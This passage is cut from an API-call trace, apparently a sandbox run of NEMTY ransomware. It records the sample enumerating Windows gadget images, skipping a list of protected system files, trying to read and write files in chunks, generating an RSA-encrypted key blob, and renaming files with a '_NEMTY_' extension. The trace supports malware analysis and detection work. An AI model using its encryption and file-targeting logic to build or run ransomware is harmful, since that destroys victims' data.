(HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.348] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.349] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.454] CloseHandle (hObject=0xffffffff) returned 0 [0162.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0162.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404e8 [0162.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous.png._nemty_kgobjgd_")) returned 0 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0162.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.455] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731159f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8731159f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b81afe5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2=".") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="..") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="...") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="windows") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="rsa") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="ntldr") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0162.455] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0162.456] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="bootmgr") returned 1 [0162.456] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="programdata") returned -1 [0162.456] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="appdata") returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340148 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0162.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345d60, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0162.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401c8 [0162.456] Sleep (dwMilliseconds=0x5) [0162.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x147cd550, dwHighDateTime=0x1d561e8)) [0162.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x147cd550, dwHighDateTime=0x1d561e8)) [0162.472] GetLastError () returned 0x5 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0162.472] GetLastError () returned 0x5 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.472] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0162.472] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="+SYaHG/r/fS19ZcRaQ0mllTyg0MsCU8AsFRVvQFj5yXcZp1inILEXygrKMGb7EiH\r\nrjCf5huljOFBJGd8rUG3DC5dSJUp6sEuQjEd/XuEmnwGMHHQwuXbxk5MonD49ohN\r\n1QnQZ6smFHTpYVc7/2wGk8MFplTE9e3LB1L7QmgM6ZOTwAJDuGfpr07aU6EklgAI\r\n10xVPFsCknb0Dqv88n6VAZ2wXuOMlOHExRKvHm81YrcKIj5YhmHBoTDBBeaErfm6\r\n0vjGM2lA+UjAVzjJy2kKlgELX32m+BtzOJDja9LWlNnTgbRDkDuqziL4DUNsCY9F\r\nl/KO5AIEajPHSpbg9+c9KA==\r\n", pcchString=0x653e91c) returned 1 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0162.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0162.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.472] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.473] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, 